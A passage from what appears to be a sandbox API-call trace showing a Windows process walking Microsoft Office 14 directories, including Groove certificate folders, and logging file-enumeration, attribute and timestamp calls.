cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ca1800, ftCreationTime.dwHighDateTime=0x1c2b07e, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84ca1800, ftLastWriteTime.dwHighDateTime=0x1c2b07e, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECREC.CFG", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECRECL.ICO", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECRECS.ICO", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURE.CFG", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURL.ICO", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURS.ICO", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b799300, ftCreationTime.dwHighDateTime=0x1c61668, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b799300, ftLastWriteTime.dwHighDateTime=0x1c61668, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHARING.CFG", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGN.CFG", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNL.ICO", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNS.ICO", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIMEE.CFG", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIMES.CFG", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff90d00, ftCreationTime.dwHighDateTime=0x1c666e6, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ff90d00, ftLastWriteTime.dwHighDateTime=0x1c666e6, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSL.ICO", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac132a00, ftCreationTime.dwHighDateTime=0x1c6859b, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac132a00, ftLastWriteTime.dwHighDateTime=0x1c6859b, nFileSizeHigh=0x0, nFileSizeLow=0x8be, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSS.ICO", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASK.CFG", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACC.CFG", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACCL.ICO", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACCS.ICO", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDEC.CFG", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDECL.ICO", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x217a650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDECS.ICO", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x217a650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKL.ICO", cAlternateFileName="")) returned 1 [0069.805] GetLastError () returned 0x12 [0069.805] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.805] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.806] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1054928) returned 1 [0069.806] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067aa8) returned 1 [0069.806] GetLastError () returned 0x12 [0069.806] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.806] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.807] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.807] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.807] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove" (normalized: "c:\\program files\\microsoft office\\office14\\groove"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove" (normalized: "c:\\program files\\microsoft office\\office14\\groove"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.807] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.807] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.807] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.807] NtClose (Handle=0xec) returned 0x0 [0069.807] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.807] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0069.810] GetLastError () returned 0x12 [0069.810] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0069.810] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.810] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.811] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.811] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.811] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.811] NtClose (Handle=0xec) returned 0x0 [0069.811] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067aa8) returned 1 [0069.811] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.811] GetLastError () returned 0x12 [0069.811] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0069.811] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.813] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0069.813] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0069.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.813] NtClose (Handle=0xec) returned 0x0 [0069.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762708) returned 1 [0069.813] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0069.813] GetLastError () returned 0x12 [0069.813] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d260 [0069.813] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.813] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.814] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.814] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.814] NtClose (Handle=0xec) returned 0x0 [0069.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762a20) returned 1 [0069.814] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1a0 [0069.815] GetLastError () returned 0x12 [0069.815] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.815] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.815] GetLastError () returned 0x12 [0069.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762b28) returned 1 [0069.815] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762c30) returned 1 [0069.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762a20) returned 1 [0069.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.816] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.816] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.816] NtClose (Handle=0x18c) returned 0x0 [0069.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762a20) returned 1 [0069.816] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.816] GetLastError () returned 0x12 [0069.816] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1a0 [0069.816] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.817] GetLastError () returned 0x12 [0069.817] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762c30) returned 1 [0069.817] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.817] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762b28) returned 1 [0069.817] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762a20) returned 1 [0069.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 